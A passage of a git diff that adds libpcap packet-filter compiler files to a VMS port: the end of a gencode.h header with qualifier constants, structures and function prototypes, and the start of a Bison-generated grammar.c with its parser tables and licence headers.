Q_ISIS 26 +#define Q_CLNP 27 + +#define Q_STP 28 + +#define Q_IPX 29 + +#define Q_NETBEUI 30 + +/* Directional qualifiers. */ + +#define Q_SRC 1 +#define Q_DST 2 +#define Q_OR 3 +#define Q_AND 4 + +#define Q_DEFAULT 0 +#define Q_UNDEF 255 + +/* ATM types */ +#define A_METAC 22 /* Meta signalling Circuit */ +#define A_BCC 23 /* Broadcast Circuit */ +#define A_OAMF4SC 24 /* Segment OAM F4 Circuit */ +#define A_OAMF4EC 25 /* End-to-End OAM F4 Circuit */ +#define A_SC 26 /* Signalling Circuit*/ +#define A_ILMIC 27 /* ILMI Circuit */ +#define A_OAM 28 /* OAM cells : F4 only */ +#define A_OAMF4 29 /* OAM F4 cells: Segment + End-to-end */ +#define A_LANE 30 /* LANE traffic */ +#define A_LLC 31 /* LLC-encapsulated traffic */ + +/* Based on Q.2931 signalling protocol */ +#define A_SETUP 41 /* Setup message */ +#define A_CALLPROCEED 42 /* Call proceeding message */ +#define A_CONNECT 43 /* Connect message */ +#define A_CONNECTACK 44 /* Connect Ack message */ +#define A_RELEASE 45 /* Release message */ +#define A_RELEASE_DONE 46 /* Release message */ + +/* ATM field types */ +#define A_VPI 51 +#define A_VCI 52 +#define A_PROTOTYPE 53 +#define A_MSGTYPE 54 +#define A_CALLREFTYPE 55 + +#define A_CONNECTMSG 70 /* returns Q.2931 signalling messages for + establishing and destroying switched + virtual connection */ +#define A_METACONNECT 71 /* returns Q.2931 signalling messages for + establishing and destroying predefined + virtual circuits, such as broadcast + circuit, oamf4 segment circuit, oamf4 + end-to-end circuits, ILMI circuits or + connection signalling circuit. */ + +struct slist; + +struct stmt { + int code; + struct slist *jt; /*only for relative jump in block*/ + struct slist *jf; /*only for relative jump in block*/ + bpf_int32 k; +}; + +struct slist { + struct stmt s; + struct slist *next; +}; + +/* + * A bit vector to represent definition sets. We assume TOT_REGISTERS + * is smaller than 8*sizeof(atomset). + */ +typedef bpf_u_int32 atomset; +#define ATOMMASK(n) (1 << (n)) +#define ATOMELEM(d, n) (d & ATOMMASK(n)) + +/* + * An unbounded set. + */ +typedef bpf_u_int32 *uset; + +/* + * Total number of atomic entities, including accumulator (A) and index (X). + * We treat all these guys similarly during flow analysis. + */ +#define N_ATOMS (BPF_MEMWORDS+2) + +struct edge { + int id; + int code; + uset edom; + struct block *succ; + struct block *pred; + struct edge *next; /* link list of incoming edges for a node */ +}; + +struct block { + int id; + struct slist *stmts; /* side effect stmts */ + struct stmt s; /* branch stmt */ + int mark; + int longjt; /* jt branch requires long jump */ + int longjf; /* jf branch requires long jump */ + int level; + int offset; + int sense; + struct edge et; + struct edge ef; + struct block *head; + struct block *link; /* link field used by optimizer */ + uset dom; + uset closure; + struct edge *in_edges; + atomset def, kill; + atomset in_use; + atomset out_use; + int oval; + int val[N_ATOMS]; +}; + +struct arth { + struct block *b; /* protocol checks */ + struct slist *s; /* stmt list */ + int regno; /* virtual register number of result */ +}; + +struct qual { + unsigned char addr; + unsigned char proto; + unsigned char dir; + unsigned char pad; +}; + +struct arth *gen_loadi(int); +struct arth *gen_load(int, struct arth *, int); +struct arth *gen_loadlen(void); +struct arth *gen_neg(struct arth *); +struct arth *gen_arth(int, struct arth *, struct arth *); + +void gen_and(struct block *, struct block *); +void gen_or(struct block *, struct block *); +void gen_not(struct block *); + +struct block *gen_scode(const char *, struct qual); +struct block *gen_ecode(const u_char *, struct qual); +struct block *gen_acode(const u_char *, struct qual); +struct block *gen_mcode(const char *, const char *, int, struct qual); +#ifdef INET6 +struct block *gen_mcode6(const char *, const char *, int, struct qual); +#endif +struct block *gen_ncode(const char *, bpf_u_int32, struct qual); +struct block *gen_proto_abbrev(int); +struct block *gen_relation(int, struct arth *, struct arth *, int); +struct block *gen_less(int); +struct block *gen_greater(int); +struct block *gen_byteop(int, int, int); +struct block *gen_broadcast(int); +struct block *gen_multicast(int); +struct block *gen_inbound(int); + +struct block *gen_vlan(int); + +struct block *gen_atmfield_code(int atmfield, bpf_u_int32 jvalue, bpf_u_int32 jtype, int reverse); +struct block *gen_atmtype_abbrev(int type); +struct block *gen_atmmulti_abbrev(int type); + +void bpf_optimize(struct block **); +void bpf_error(const char *, ...) +#if HAVE___ATTRIBUTE__ + __attribute__((noreturn, format (printf, 1, 2))) +#endif +; + +void finish_parse(struct block *); +char *sdup(const char *); + +struct bpf_insn *icode_to_fcode(struct block *, int *); +int pcap_parse(void); +void lex_init(char *); +void lex_cleanup(void); +void sappend(struct slist *, struct slist *); + +/* XXX */ +#define JT(b) ((b)->et.succ) +#define JF(b) ((b)->ef.succ) + +extern int no_optimize; diff --git a/Pcap-VMS/pcap-vci/grammar.c b/Pcap-VMS/pcap-vci/grammar.c new file mode 100644 index 00000000..fa36e6e4 --- /dev/null +++ b/Pcap-VMS/pcap-vci/grammar.c @@ -0,0 +1,2114 @@ +/* A Bison parser, made from ../libpcap/grammar.y + by GNU bison 1.35. */ + +#define YYBISON 1 /* Identify Bison output. */ + +#define yyparse pcap_parse +#define yylex pcap_lex +#define yyerror pcap_error +#define yylval pcap_lval +#define yychar pcap_char +#define yydebug pcap_debug +#define yynerrs pcap_nerrs +# define DST 257 +# define SRC 258 +# define HOST 259 +# define GATEWAY 260 +# define NET 261 +# define MASK 262 +# define PORT 263 +# define LESS 264 +# define GREATER 265 +# define PROTO 266 +# define PROTOCHAIN 267 +# define CBYTE 268 +# define ARP 269 +# define RARP 270 +# define IP 271 +# define SCTP 272 +# define TCP 273 +# define UDP 274 +# define ICMP 275 +# define IGMP 276 +# define IGRP 277 +# define PIM 278 +# define VRRP 279 +# define ATALK 280 +# define AARP 281 +# define DECNET 282 +# define LAT 283 +# define SCA 284 +# define MOPRC 285 +# define MOPDL 286 +# define TK_BROADCAST 287 +# define TK_MULTICAST 288 +# define NUM 289 +# define INBOUND 290 +# define OUTBOUND 291 +# define LINK 292 +# define GEQ 293 +# define LEQ 294 +# define NEQ 295 +# define ID 296 +# define EID 297 +# define HID 298 +# define HID6 299 +# define AID 300 +# define LSH 301 +# define RSH 302 +# define LEN 303 +# define IPV6 304 +# define ICMPV6 305 +# define AH 306 +# define ESP 307 +# define VLAN 308 +# define ISO 309 +# define ESIS 310 +# define ISIS 311 +# define CLNP 312 +# define STP 313 +# define IPX 314 +# define NETBEUI 315 +# define LANE 316 +# define LLC 317 +# define METAC 318 +# define BCC 319 +# define SC 320 +# define ILMIC 321 +# define OAMF4EC 322 +# define OAMF4SC 323 +# define OAM 324 +# define OAMF4 325 +# define CONNECTMSG 326 +# define METACONNECT 327 +# define VPI 328 +# define VCI 329 +# define OR 330 +# define AND 331 +# define UMINUS 332 + +#line 1 "../libpcap/grammar.y" + +/* + * Copyright (c) 1988, 1989, 1990, 1991, 1992, 1993, 1994, 1995, 1996 + * The Regents of the University of California. All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that: (1) source code distributions + * retain the above copyright notice and this paragraph in its entirety, (2) + * distributions including binary code include the above copyright notice and + * this paragraph in its entirety in the documentation or other materials + * provided with the distribution, and (3) all advertising materials mentioning + * features or use of this software display the following acknowledgement: + * ``This product includes software developed by the University of California, + * Lawrence Berkeley Laboratory and its contributors.'' Neither the name of + * the University nor the names of its contributors may be used to endorse + * or promote products derived from this software without specific prior + * written permission. + * THIS SOFTWARE IS PROVIDED ``AS IS'' AND WITHOUT ANY EXPRESS OR IMPLIED + * WARRANTIES, INCLUDING, WITHOUT LIMITATION, THE IMPLIED WARRANTIES OF + * MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + * + */ +#ifndef lint +static const char rcsid[] = + "@(#) $Header: /tcpdump/master/libpcap/grammar.y,v 1.77 2002/08/11 18:27:14 guy Exp $ (LBL)"; +#endif + +#ifdef HAVE_CONFIG_H +#include "config.h" +#endif + +#ifdef WIN32 +#include +#else /* WIN32 */ +#include +#include +#include +#endif /* WIN32 */ + +#include + +#ifndef WIN32 +#if __STDC__ +struct mbuf; +struct rtentry; +#endif + +#include +#endif /* WIN32 */ + +#include + +#include "pcap-int.h" + +#include "gencode.h" +#include + +#ifdef HAVE_OS_PROTO_H +#include "os-proto.h" +#endif + +#define QSET(q, p, d, a) (q).proto = (p),\ + (q).dir = (d),\ + (q).addr = (a) + +int n_errors = 0; + +static struct qual qerr = { Q_UNDEF, Q_UNDEF, Q_UNDEF, Q_UNDEF }; + +static void +yyerror(char *msg) +{ + ++n_errors; + bpf_error("%s", msg); + /* NOTREACHED */ +} + +#ifndef YYBISON +int yyparse(void); + +int +pcap_parse() +{ + return (yyparse()); +} +#endif + + +#line 90 "../libpcap/grammar.y" +#ifndef YYSTYPE +typedef union { + int i; + bpf_u_int32 h; + u_char *e; + char *s; + struct stmt *stmt; + struct arth *a; + struct { + struct qual q; + int atmfieldtype; + struct block *b; + } blk; + struct block *rblk; +} yystype; +# define YYSTYPE yystype +# define YYSTYPE_IS_TRIVIAL 1 +#endif +#ifndef YYDEBUG +# define YYDEBUG 0 +#endif + + + +#define YYFINAL 203 +#define YYFLAG -32768 +#define YYNTBASE 94 + +/* YYTRANSLATE(YYLEX) -- Bison token number corresponding to YYLEX. */ +#define YYTRANSLATE(x) ((unsigned)(x) <= 332 ? yytranslate[x] : 126) + +/* YYTRANSLATE[YYLEX] -- Bison token number corresponding to YYLEX. */ +static const char yytranslate[] = +{ + 0, 2, 2, 2, 2, 2, 2, 2, 2, 2, + 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, + 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, + 2, 2, 2, 78, 2, 2, 2, 2, 80, 2, + 87, 86, 83, 81, 2, 82, 2, 84, 2, 2, + 2, 2, 2, 2, 2, 2, 2, 2, 93, 2, + 90, 89, 88, 2, 2, 2, 2, 2, 2, 2, + 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, + 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, + 2, 91, 2, 92, 2, 2, 2, 2, 2, 2, + 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, + 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, + 2, 2, 2, 2, 79, 2, 2, 2, 2, 2, + 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, + 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, + 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, + 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, + 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, + 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, + 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, + 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, + 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, + 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, + 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, + 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, + 2, 2, 2, 2, 2, 2, 1, 3, 4, 5, + 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, + 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, + 26, 27, 28, 29, 30, 31, 32, 33, 34, 35, + 36, 37, 38, 39, 40, 41, 42, 43, 44, 45, + 46, 47, 48, 49, 50, 51, 52, 53, 54, 55, + 56, 57, 58, 59, 60, 61, 62, 63, 64, 65, + 66, 67, 68, 69, 70, 71, 72, 73, 74, 75, + 76, 77, 85 +}; + +#if YYDEBUG +static const short yyprhs[] = +{ + 0, 0, 3, 5, 6, 8, 12, 16, 20, 24, + 26, 28, 30, 32, 36, 38, 42, 46, 48, 52, + 54, 56, 58, 61, 63, 65, 67, 71, 75, 77, + 79, 81, 84, 88, 91, 94, 97, 100, 103, 106, + 110, 112, 116, 120, 122, 124, 126, 129, 131, 132, + 134, 136, 140, 144, 148, 152, 154, 156, 158, 160, + 162, 164, 166, 168, 170, 172, 174, 176, 178, 180, + 182, 184, 186, 188, 190, 192, 194, 196, 198, 200, + 202, 204, 206, 208, 210, 212, 214, 216, 218, 220, + 223, 226, 229, 232, 237, 239, 241, 244, 246, 248, + 250, 252, 254, 256, 258, 260, 262, 267, 274, 278, + 282, 286, 290, 294, 298, 302, 306, 309, 313, 315, + 317, 319, 321, 323, 325, 327, 331, 333, 335, 337, + 339, 341, 343, 345, 347, 349, 351, 353, 355, 357, + 359, 361, 364, 367, 371, 373, 375 +}; +static const short yyrhs[] = +{ + 95, 96, 0, 95, 0, 0, 105, 0, 96, 97, + 105, 0, 96, 97, 99, 0, 96, 98, 105, 0, + 96, 98, 99, 0, 77, 0, 76, 0, 100, 0, + 119, 0, 102, 103, 86, 0, 42, 0, 44, 84, + 35, 0, 44, 8, 44, 0, 44, 0, 45, 84, + 35, 0, 45, 0, 43, 0, 46, 0, 101, 99, + 0, 78, 0, 87, 0, 100, 0, 104, 97, 99, + 0, 104, 98, 99, 0, 119, 0, 103, 0, 107, + 0, 101, 105, 0, 108, 109, 110, 0, 108, 109, + 0, 108, 110, 0, 108, 12, 0, 108, 13, 0, + 108, 111, 0, 106, 99, 0, 102, 96, 86, 0, + 112, 0, 116, 114, 116, 0, 116, 115, 116, 0, + 113, 0, 120, 0, 121, 0, 122, 123, 0, 112, + 0, 0, 4, 0, 3, 0, 4, 76, 3, 0, + 3, 76, 4, 0, 4, 77, 3, 0, 3, 77, + 4, 0, 5, 0, 7, 0, 9, 0, 6, 0, + 38, 0, 17, 0, 15, 0, 16, 0, 18, 0, + 19, 0, 20, 0, 21, 0, 22, 0, 23, 0, + 24, 0, 25, 0, 26, 0, 27, 0, 28, 0, + 29, 0, 30, 0, 32, 0, 31, 0, 50, 0, + 51, 0, 52, 0, 53, 0, 55, 0, 56, 0, + 57, 0, 58, 0, 59, 0, 60, 0, 61, 0, + 108, 33, 0, 108, 34, 0, 10, 35, 0, 11, + 35, 0, 14, 35, 118, 35, 0, 36, 0, 37, + 0, 54, 119, 0, 54, 0, 88, 0, 39, 0, + 89, 0, 40, 0, 90, 0, 41, 0, 119, 0, + 117, 0, 112, 91, 116, 92, 0, 112, 91, 116, + 93, 35, 92, 0, 116, 81, 116, 0, 116, 82, + 116, 0, 116, 83, 116, 0, 116, 84, 116, 0, + 116, 80, 116, 0, 116, 79, 116, 0, 116, 47, + 116, 0, 116, 48, 116, 0, 82, 116, 0, 102, + 117, 86, 0, 49, 0, 80, 0, 79, 0, 90, + 0, 88, 0, 89, 0, 35, 0, 102, 119, 86, + 0, 62, 0, 63, 0, 64, 0, 65, 0, 68, + 0, 69, 0, 66, 0, 67, 0, 70, 0, 71, + 0, 72, 0, 73, 0, 74, 0, 75, 0, 124, + 0, 114, 35, 0, 115, 35, 0, 102, 125, 86, + 0, 35, 0, 124, 0, 125, 98, 124, 0 +}; + +#endif + +#if YYDEBUG +/* YYRLINE[YYN] -- source line where rule number YYN was defined. */ +static const short yyrline[] = +{ + 0, 152, 156, 158, 160, 161, 162, 163, 164, 166, + 168, 170, 171, 173, 175, 176, 178, 180, 185, 194, + 203, 212, 221, 223, 225, 227, 228, 229, 231, 233, + 235, 236, 238, 239, 240, 241, 242, 243, 245, 246, + 247, 248, 250, 252, 253, 254, 255, 258, 259, 262, + 263, 264, 265, 266, 267, 270, 271, 272, 275, 277, + 278, 279, 280, 281, 282, 283, 284, 285, 286, 287, + 288, 289, 290, 291, 292, 293, 294, 295, 296, 297, + 298, 299, 300, 301, 302, 303, 304, 305, 306, 308, + 309, 310, 311, 312, 313, 314, 315, 316, 318, 319, + 320, 322, 323, 324, 326, 327, 329, 330, 331, 332, + 333, 334, 335, 336, 337, 338, 339, 340, 341, 343, + 344, 345, 346, 347, 349, 350, 352, 353, 354, 355, + 356, 357, 358, 359, 361, 362, 363, 364, 367, 368, + 370, 371, 372, 373, 375, 382, 383 +}; +#endif + + +#if (YYDEBUG) || defined YYERROR_VERBOSE + +/* YYTNAME[TOKEN_NUM] -- String name of the token TOKEN_NUM. */ +static const char *const yytname[] = +{ + "$", "error", "$undefined.", "DST", "SRC", "HOST", "GATEWAY", "NET", + "MASK", "PORT", "LESS", "GREATER", "PROTO", "PROTOCHAIN", "CBYTE", + "ARP", "RARP", "IP", "SCTP", "TCP", "UDP", "ICMP", "IGMP", "IGRP", + "PIM", "VRRP", "ATALK", "AARP", "DECNET", "LAT", "SCA", "MOPRC", + "MOPDL", "TK_BROADCAST", "TK_MULTICAST", "NUM", "INBOUND", "OUTBOUND", + "LINK", "GEQ", "LEQ", "NEQ", "ID", "EID", "HID", "HID6", "AID", "LSH", + "RSH", "LEN", "IPV6", "ICMPV6", "AH", "ESP", "VLAN", "ISO", "ESIS", + "ISIS", "CLNP", "STP", "IPX", "NETBEUI", "LANE", "LLC", "METAC", "BCC", + "SC", "ILMIC", "OAMF4EC", "OAMF4SC", "OAM", "OAMF4", "CONNECTMSG", + "METACONNECT", "VPI", "VCI", "OR", "AND", "'!'", "'|'", "'&'", "'+'", + "'-'", "'*'", "'/'", "UMINUS", "')'", "'('", "'>'", "'='", "'<'", "'['", + "']'", "':'", "prog", "null", "expr", "and", "or", "id", "nid", "not", + "paren", "pid", "qid", "term", "head", "rterm", "pqual", "dqual", + "aqual", "ndaqual", "pname", "other", "relop", "irelop", "arth", + "narth", "byteop", "pnum", "atmtype", "atmmultitype", "atmfield", + "atmvalue", "atmfieldvalue", "atmlistvalue", 0 +}; +#endif + +/* YYR1[YYN] -- Symbol number of symbol that rule YYN derives. */ +static const short yyr1[] = +{ + 0, 94, 94, 95, 96, 96, 96, 96, 96, 97, + 98, 99, 99, 99, 100, 100, 100, 100, 100, 100, + 100, 100, 100, 101, 102, 103, 103, 103, 104, 104, + 105, 105, 106, 106, 106, 106, 106, 106, 107, 107, + 107, 107, 107, 107, 107, 107, 107, 108, 108, 109, + 109, 109, 109, 109, 109, 110, 110, 110, 111, 112, + 112, 112, 112, 112, 112, 112, 112, 112, 112, 112, + 112, 112, 112, 112, 112, 112, 112, 112, 112, 112, + 112, 112, 112, 112, 112, 112, 112, 112, 112, 113, + 113, 113, 113, 113, 113, 113, 113, 113, 114, 114, + 114, 115, 115, 115, 116, 116, 117, 117, 117, 117, + 117, 117, 117, 117, 117, 117, 117, 117, 117, 118, + 118, 118, 118, 118, 119, 119, 120, 120, 120, 120, + 120, 120, 120, 120, 121, 121, 121, 121, 122, 122, + 123, 123, 123, 123, 124, 125, 125 +}; + +/* YYR2[YYN] -- Number of symbols composing right hand side of rule YYN. */ +static const short yyr2[] = +{ + 0, 2, 1, 0, 1, 3, 3, 3, 3, 1, + 1, 1, 1, 3, 1, 3, 3, 1, 3, 1, + 1, 1, 2, 1, 1, 1, 3, 3, 1, 1, + 1, 2, 3, 2, 2, 2, 2, 2, 2, 3, + 1, 3, 3, 1, 1, 1, 2, 1, 0, 1, + 1, 3, 3, 3, 3, 1, 1, 1, 1, 1, + 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, + 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, + 1, 1, 1, 1, 1, 1, 1, 1, 1, 2, + 2, 2, 2, 4, 1, 1, 2, 1, 1, 1, + 1, 1, 1, 1, 1, 1, 4, 6, 3, 3, + 3, 3, 3, 3, 3, 3, 2, 3, 1, 1, + 1, 1, 1, 1, 1, 3, 1, 1, 1, 1, + 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, + 1, 2, 2, 3, 1, 1, 3 +}; + +/* YYDEFACT[S] -- default rule to reduce with in state S when YYTABLE + doesn't specify something else to do. Zero means the default is an + error. */ +static const short yydefact[] = +{ + 3, 48, 0, 0, 0, 61, 62, 60, 63, 64, + 65, 66, 67, 68, 69, 70, 71, 72, 73, 74, + 75, 77, 76, 124, 94, 95, 59, 118, 78, 79, + 80, 81, 97, 82, 83, 84, 85, 86, 87, 88, + 126, 127, 128, 129, 132, 133, 130, 131, 134, 135, + 136, 137, 138, 139, 23, 0, 24, 1, 48, 48, + 4, 0, 30, 0, 47, 43, 0, 105, 104, 44, + 45, 0, 91, 92, 0, 0, 96, 0, 0, 116, + 10, 9, 48, 48, 31, 0, 105, 104, 14, 20, + 17, 19, 21, 38, 11, 0, 0, 12, 50, 49, + 55, 58, 56, 57, 35, 36, 89, 90, 33, 34, + 37, 0, 99, 101, 103, 0, 0, 0, 0, 0, + 0, 0, 0, 98, 100, 102, 0, 0, 144, 0, + 0, 0, 46, 140, 120, 119, 122, 123, 121, 0, + 0, 0, 6, 48, 48, 5, 104, 8, 7, 39, + 117, 125, 0, 0, 0, 22, 25, 29, 0, 28, + 0, 0, 0, 0, 32, 0, 114, 115, 113, 112, + 108, 109, 110, 111, 41, 42, 145, 0, 141, 142, + 93, 104, 16, 15, 18, 13, 0, 0, 52, 54, + 51, 53, 106, 0, 143, 0, 26, 27, 0, 146, + 107, 0, 0, 0 +}; + +static const short yydefgoto[] = +{ + 201, 1, 85, 82, 83, 155, 94, 95, 77, 157, + 158, 60, 61, 62, 63, 108, 109, 110, 78, 65, + 126, 127, 66, 67, 139, 68, 69, 70, 71, 132, + 133, 177 +}; + +static const short yypact[] = +{ + -32768, 173, -25, -17, -14,-32768,-32768,-32768,-32768,-32768, + -32768,-32768,-32768,-32768,-32768,-32768,-32768,-32768,-32768,-32768, + -32768,-32768,-32768,-32768,-32768,-32768,-32768,-32768,-32768,-32768, + -32768,-32768, -18,-32768,-32768,-32768,-32768,-32768,-32768,-32768, + -32768,-32768,-32768,-32768,-32768,-32768,-32768,-32768,-32768,-32768, + -32768,-32768,-32768,-32768,-32768, 394,-32768, -21, 321, 321, + -32768, 75,-32768, 479, 7,-32768, 417,-32768,-32768,-32768, + -32768, 91,-32768,-32768, 127, -18,-32768, 394, -65,-32768, + -32768,-32768, 247, 247,-32768, -64, -54, -50,-32768,-32768, + -5, -41,-32768,-32768,-32768, 75, 75,-32768, -4, 30, + -32768,-32768,-32768,-32768,-32768,-32768,-32768,-32768, 28,-32768, + -32768, 394,-32768,-32768,-32768, 394, 394, 394, 394, 394, + 394, 394, 394,-32768,-32768,-32768, 394, 394,-32768, 5, + 10, 18,-32768,-32768,-32768,-32768,-32768,-32768,-32768, 24, + -50, 354,-32768, 247, 247,-32768, 11,-32768,-32768,-32768, + -32768,-32768, 19, 33, 45,-32768,-32768, 6, -21, -50, + 85, 92, 97, 99,-32768, 57, -34, -34, 280, -6, + 25, 25,-32768,-32768, 354, 354,-32768, -61,-32768,-32768, + -32768, -57,-32768,-32768,-32768,-32768, 75, 75,-32768,-32768, + -32768,-32768,-32768, 76,-32768, 5,-32768,-32768, 22,-32768, + -32768, 115, 116,-32768 +}; + +static const short yypgoto[] = +{ + -32768,-32768, 121, -35, -150, -59, -90, 3, -1,-32768, + -32768, -44,-32768,-32768,-32768,-32768, 16,-32768, 8,-32768, + 58, 62, 48, -43,-32768, -31,-32768,-32768,-32768,-32768, + -124,-32768 +}; + + +#define YYLAST 513 + + +static const short yytable[] = +{ + 59, 76, 93, 152, 58, 176, 156, -40, 187, 64, + 72, -12, 80, 81, 84, 80, 86, 23, 73, -28, + -28, 74, 149, 142, 147, 194, 111, 195, 87, 151, + 97, 75, 150, 100, 86, 102, 151, 103, 145, 148, + 128, 115, 116, 154, 140, 178, 87, 119, 120, 121, + 122, 146, 146, 179, 156, 80, 81, 59, 59, 180, + 96, 58, 58, 182, 97, 159, 64, 64, 183, 56, + 129, 199, 160, 161, 75, 119, 120, 121, 122, 153, + 184, 144, 144, -40, -40, 143, 143, -12, -12, 188, + 64, 64, 185, -40, 96, 75, 189, -12, 111, 84, + 190, 86, 191, 79, 115, 116, 162, 163, 121, 122, + 23, 198, 146, 181, 200, 202, 203, 88, 89, 90, + 91, 92, 57, 186, 164, 141, 128, 196, 197, 130, + 112, 113, 114, 131, 0, 0, 117, 118, 119, 120, + 121, 122, 144, 59, 0, 0, 143, 143, 0, 192, + 193, 64, 64, 54, 0, 97, 97, 0, 0, 165, + 0, 0, 56, 166, 167, 168, 169, 170, 171, 172, + 173, 0, 0, -2, 174, 175, 0, 0, 56, 123, + 124, 125, 0, 2, 3, 96, 96, 4, 5, 6, + 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, + 17, 18, 19, 20, 21, 22, 134, 135, 23, 24, + 25, 26, 0, 0, 0, 136, 137, 138, 0, 0, + 0, 0, 27, 28, 29, 30, 31, 32, 33, 34, + 35, 36, 37, 38, 39, 40, 41, 42, 43, 44, + 45, 46, 47, 48, 49, 50, 51, 52, 53, 0, + 0, 54, 0, 0, 0, 55, 0, 2, 3, 0, + 56, 4, 5, 6, 7, 8, 9, 10, 11, 12, + 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, + 0, 0, 23, 24, 25, 26, 0, 0, 0, 88, + 89, 90, 91, 92, 0, 0, 27, 28, 29, 30, + 31, 32, 33, 34, 35, 36, 37, 38, 39, 40, + 41, 42, 43, 44, 45, 46, 47, 48, 49, 50, + 51, 52, 53, 0, 0, 54, 0, 115, 116, 55, + 0, 2, 3, 0, 56, 4, 5, 6, 7, 8, + 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, + 19, 20, 21, 22, 0, 0, 23, 24, 25, 26, + 118, 119, 120, 121, 122, 0, 0, 0, 0, 0, + 27, 28, 29, 30, 31, 32, 33, 34, 35, 36, + 37, 38, 39, 40, 41, 42, 43, 44, 45, 46, + 47, 48, 49, 50, 51, 52, 53, 0, 0, 54, + 0, 115, 116, 55, 0, 0, 0, 0, 56, 5, + 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, + 16, 17, 18, 19, 20, 21, 22, 0, 0, 23, + 0, 0, 26, 117, 118, 119, 120, 121, 122, 0, + 0, 0, 0, 27, 28, 29, 30, 31, 0, 33, + 34, 35, 36, 37, 38, 39, 112, 113, 114, 0, + 0, 0, 0, 0, 115, 116, 0, 0, 0, 0, + 0, 0, 0, 0, 0, 0, 55, 0, 0, 0, + 0, 56, 98, 99, 100, 101, 102, 0, 103, 0, + 0, 104, 105, 0, 0, 0, 117, 118, 119, 120, + 121, 122, 0, 0, 0, 123, 124, 125, 0, 0, + 0, 0, 106, 107 +}; + +static const short yycheck[] = +{ + 1, 32, 61, 8, 1, 129, 96, 0, 158, 1, + 35, 0, 76, 77, 58, 76, 59, 35, 35, 76, + 77, 35, 86, 82, 83, 86, 91, 177, 59, 86, + 61, 32, 86, 5, 77, 7, 86, 9, 82, 83, + 35, 47, 48, 84, 75, 35, 77, 81, 82, 83, + 84, 82, 83, 35, 144, 76, 77, 58, 59, 35, + 61, 58, 59, 44, 95, 96, 58, 59, 35, 87, + 71, 195, 76, 77, 75, 81, 82, 83, 84, 84, + 35, 82, 83, 76, 77, 82, 83, 76, 77, 4, + 82, 83, 86, 86, 95, 96, 4, 86, 91, 143, + 3, 144, 3, 55, 47, 48, 76, 77, 83, 84, + 35, 35, 143, 144, 92, 0, 0, 42, 43, 44, + 45, 46, 1, 158, 108, 77, 35, 186, 187, 71, + 39, 40, 41, 71, -1, -1, 79, 80, 81, 82, + 83, 84, 143, 144, -1, -1, 143, 144, -1, 92, + 93, 143, 144, 78, -1, 186, 187, -1, -1, 111, + -1, -1, 87, 115, 116, 117, 118, 119, 120, 121, + 122, -1, -1, 0, 126, 127, -1, -1, 87, 88, + 89, 90, -1, 10, 11, 186, 187, 14, 15, 16, + 17, 18, 19, 20, 21, 22, 23, 24, 25, 26, + 27, 28, 29, 30, 31, 32, 79, 80, 35, 36, + 37, 38, -1, -1, -1, 88, 89, 90, -1, -1, + -1, -1, 49, 50, 51, 52, 53, 54, 55, 56, + 57, 58, 59, 60, 61, 62, 63, 64, 65, 66, + 67, 68, 69, 70, 71, 72, 73, 74, 75, -1, + -1, 78, -1, -1, -1, 82, -1, 10, 11, -1, + 87, 14, 15, 16, 17, 18, 19, 20, 21, 22, + 23, 24, 25, 26, 27, 28, 29, 30, 31, 32, + -1, -1, 35, 36, 37, 38, -1, -1, -1, 42, + 43, 44, 45, 46, -1, -1, 49, 50, 51, 52, + 53, 54, 55, 56, 57, 58, 59, 60, 61, 62, + 63, 64, 65, 66, 67, 68, 69, 70, 71, 72, + 73, 74, 75, -1, -1, 78, -1, 47, 48, 82, + -1, 10, 11, -1, 87, 14, 15, 16, 17, 18, + 19, 20, 21, 22, 23, 24, 25, 26, 27, 28, + 29, 30, 31, 32, -1, -1, 35, 36, 37, 38, + 80, 81, 82, 83, 84, -1, -1, -1, -1, -1, + 49, 50, 51, 52, 53, 54, 55, 56, 57, 58, + 59, 60, 61, 62, 63, 64, 65, 66, 67, 68, + 69, 70, 71, 72, 73, 74, 75, -1, -1, 78, + -1, 47, 48, 82, -1, -1, -1, -1, 87, 15, + 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, + 26, 27, 28, 29, 30, 31, 32, -1, -1, 35, + -1, -1, 38, 79, 80, 81, 82, 83, 84, -1, + -1, -1, -1, 49, 50, 51, 52, 53, -1, 55, + 56, 57, 58, 59, 60, 61, 39, 40, 41, -1, + -1, -1, -1, -1, 47, 48, -1, -1, -1, -1, + -1, -1, -1, -1, -1, -1, 82, -1, -1, -1, + -1, 87, 3, 4, 5, 6, 7, -1, 9, -1, + -1, 12, 13, -1, -1, -1, 79, 80, 81, 82, + 83, 84, -1, -1, -1, 88, 89, 90, -1, -1, + -1, -1, 33, 34 +}; +/* -*-C-*- Note some compilers choke on comments on `#line' lines. */ +#line 3 "/usr/share/bison/bison.simple" + +/* Skeleton output parser for bison, + + Copyright (C) 1984, 1989, 1990, 2000, 2001, 2002 Free Software + Foundation, Inc. + + This program is free software; you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation; either version 2, or (at your option) + any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A 